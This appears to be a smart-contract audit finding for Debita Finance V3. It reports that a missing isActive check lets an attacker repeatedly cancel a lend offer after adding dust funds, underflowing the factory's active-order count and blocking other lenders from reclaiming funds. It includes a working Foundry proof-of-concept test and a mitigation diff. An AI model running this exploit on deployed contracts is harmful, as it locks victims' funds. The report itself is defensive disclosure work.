Expert Smoke Capybara

High

# Attacker can deny lend order cancellation for others leading to loss of funds.

### Summary

Any user can create lend orders by using [`DebitaLendOfferFactory::createLendOrder`](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L124) function and similarly cancel their offers by using the [`DebitaLendOffer-Implementation::cancelOffer`](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L144) function.

The issue lies in the `cancelOffer`and `addFunds` due to lack of `isActive` check, which allows offer cancellation even after the offer has been cancelled before, the attack path would be to add funds using the [`DebitaLendOffer-Implementation::addFunds`](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L162) and then cancel using the [`DebitaLendOffer-Implementation::cancelOffer`](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L144).
```solidity
    function cancelOffer() public onlyOwner nonReentrant { 
        uint availableAmount = lendInformation.availableAmount;
        lendInformation.perpetual = false;
        lendInformation.availableAmount = 0;
        require(availableAmount > 0, "No funds to cancel");
        isActive = false;  <@ - // Missing check `require(isActive == true, "Order inactive");`
        // Rest of the code . . . . .
    }
```
This can be repeated several times to manipulate the `activeOrdersCount`, `allActiveLendOrders` and `LendOrderIndex` leading to loss of orders from the `DebitaLendOfferFactory` contract and the attacker can potentially do this to make sure the `activeOrdersCount` goes to 0, which will deny any legitimate user from cancelling their offer as `deleteOrder` will underflow.
```solidity
    function deleteOrder(address _lendOrder) external onlyLendOrder {
        uint index = LendOrderIndex[_lendOrder];
        LendOrderIndex[_lendOrder] = 0; <@ - // Loss of orders from mapping

        // switch index of the last borrow order to the deleted borrow order
        allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1]; <@ - // Loss of orders from mapping
        LendOrderIndex[allActiveLendOrders[activeOrdersCount - 1]] = index; 

        // take out last borrow order

        allActiveLendOrders[activeOrdersCount - 1] = address(0);

        activeOrdersCount--; // <@ // This will underflow when activeOrdersCount is 0
    }
```
Addition to this, the [`DebitaLendOfferFactory::getActiveOrders`](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L222) will not return correct values, as the orders would have been overwritten.

### Root Cause

In [`DebitaLendOffer-Implementation::cancelOffer`](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L144), there's a missing `isActive` check that ensures that we cancel only active orders.
```solidity
    function cancelOffer() public onlyOwner nonReentrant { 
        uint availableAmount = lendInformation.availableAmount;
        lendInformation.perpetual = false;
        lendInformation.availableAmount = 0;
        require(availableAmount > 0, "No funds to cancel");
        isActive = false;  <@ - // Missing check `require(isActive == true, "Order inactive");`
        // Rest of the code . . . . .
    }
```

In [`DebitaLendOffer-Implementation::addFunds`](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L162), we allow addition of funds to an order which is inactive.
```solidity
    function addFunds(uint amount) public nonReentrant {
        require(
            msg.sender == lendInformation.owner ||
                IAggregator(aggregatorContract).isSenderALoan(msg.sender),
            "Only owner or loan"
        );    <@ - // Missing check - `require(isActive == true, "Order inactive");`
        SafeERC20.safeTransferFrom(
            IERC20(lendInformation.principle),
            msg.sender,
            address(this),
            amount
        );
        lendInformation.availableAmount += amount;
        IDLOFactory(factoryContract).emitUpdate(address(this));
    }
```

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

1. User A creates a lend order using `DebitaLendOfferFactory::createLendOrder` function legitimately. Which will make the `activeOrdersCount == 1`.
2. Malicious User B creates a lend order as well which will make `activeOrdersCount == 2`.
3. User B cancels the order using `DebitaLendOffer-Implementation::cancelOffer` function which will make `activeOrdersCount == 1`.
4. User B adds dust value of funds using the `DebitaLendOffer-Implementation::addFunds` function.
5. User B again cancels the order using `DebitaLendOffer-Implementation::cancelOffer` which will make `activeOrdersCount == 0`.
6. If user A tries to cancel his order, this will deny him from doing so as subtraction of `activeOrdersCount` will underflow, also, searching his order using `getActiveOrders` will not return him anything.

### Impact

1. Legitimate users will be denied cancellation of offers which will deny them their funds back.
2. There will be a improper storage in `activeOrdersCount`, `allActiveLendOrders` and `LendOrderIndex` which will disrupt the working of `getActiveOrders` function in `DebitaLendOfferFactory` contract.

### PoC

The below test was added in `BasicDebitaAggregator.t.sol`:
```solidity
    function testLostOrders() public {

        // Create lend order
        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        
        ratio[0] = 1e18;
        oraclesPrinciples[0] = address(0x0);
        acceptedPrinciples[0] = AERO;
        oraclesActivated[0] = false;
        ltvs[0] = 0;
        address firstLender = address(0x5);
        address secondLender = address(0x6);

        deal(AERO, firstLender, 1000e18, false);
        deal(AERO, secondLender, 1000e18, false);
        // Create 2 lend order from first lender
        vm.startPrank(firstLender);
        IERC20(AERO).approve(address(DLOFactoryContract), 1000e18);
        // First lend order
        address firstLendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            1000,
            8640000,
            86400,
            acceptedPrinciples,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        // Second lend order
        DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            1000,
            8640000,
            86400,
            acceptedPrinciples,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        vm.stopPrank();
        // Get active lend orders
        uint256 totalOrders =  DLOFactoryContract.activeOrdersCount();

        assertEq(totalOrders, 3); // This will be 3 due to a lend order created in the setup function

        // Malicous lender (second lender) will create a lend order
        vm.startPrank(secondLender);
        IERC20(AERO).approve(address(DLOFactoryContract), 1000e18);
        
        address secondLendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            1000,
            8640000,
            86400,
            acceptedPrinciples,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        // Now cancel the lend order
        DLOImplementation lendOrder = DLOImplementation(secondLendOrderAddress);
        IERC20(AERO).approve(address(lendOrder), 1000e18);
        lendOrder.cancelOffer();

        assertEq(DLOFactoryContract.activeOrdersCount(), 3);
        // Attacker adds dust funds and cancels the lend order
        lendOrder.addFunds(1);
        lendOrder.cancelOffer();

        assertEq(DLOFactoryContract.activeOrdersCount(), 2);
        lendOrder.addFunds(1);
        lendOrder.cancelOffer();

        assertEq(DLOFactoryContract.activeOrdersCount(), 1);
        lendOrder.addFunds(1);
        lendOrder.cancelOffer();

        assertEq(DLOFactoryContract.activeOrdersCount(), 0); // Literally Draining the Lend Orders of first 2, new orders will overwrite the old ones, the contract loses track of the old orders
        // Dis-allows legit users from cancelling orders as well
        vm.stopPrank(); 

        vm.startPrank(firstLender);
        // Try to cancel the lend order
        vm.expectRevert();
        DLOImplementation(firstLendOrderAddress).cancelOffer(); // [FAIL: panic: arithmetic underflow or overflow (0x11)]
        vm.stopPrank();
    
    }
```
It showcases the entire attack path mentioned.

### Mitigation

It is recommended to add `isActive` checks in both `addFunds` and `cancelOffer`
```diff
function addFunds(uint amount) public nonReentrant {
        require(
            msg.sender == lendInformation.owner ||
                IAggregator(aggregatorContract).isSenderALoan(msg.sender),
            "Only owner or loan"
        );
+       require(isActive, "Offer inactive");
        SafeERC20.safeTransferFrom(
            IERC20(lendInformation.principle),
            msg.sender,
            address(this),
            amount
        );
        lendInformation.availableAmount += amount;
        IDLOFactory(factoryContract).emitUpdate(address(this));
    }
```

```diff
    function cancelOffer() public onlyOwner nonReentrant {
        uint availableAmount = lendInformation.availableAmount;
        lendInformation.perpetual = false;
        lendInformation.availableAmount = 0;
        require(availableAmount > 0, "No funds to cancel");
+       require(isActive, "Offer inactive");
        isActive = false;

        SafeERC20.safeTransfer(
            IERC20(lendInformation.principle),
            msg.sender,
            availableAmount
        );
        IDLOFactory(factoryContract).emitDelete(address(this));
        IDLOFactory(factoryContract).deleteOrder(address(this)); // @audit - LEGIT we can grief the protocol by adding small funds and cancelling offer everytime, leading to lost orders
        // emit canceled event on factory
    }
```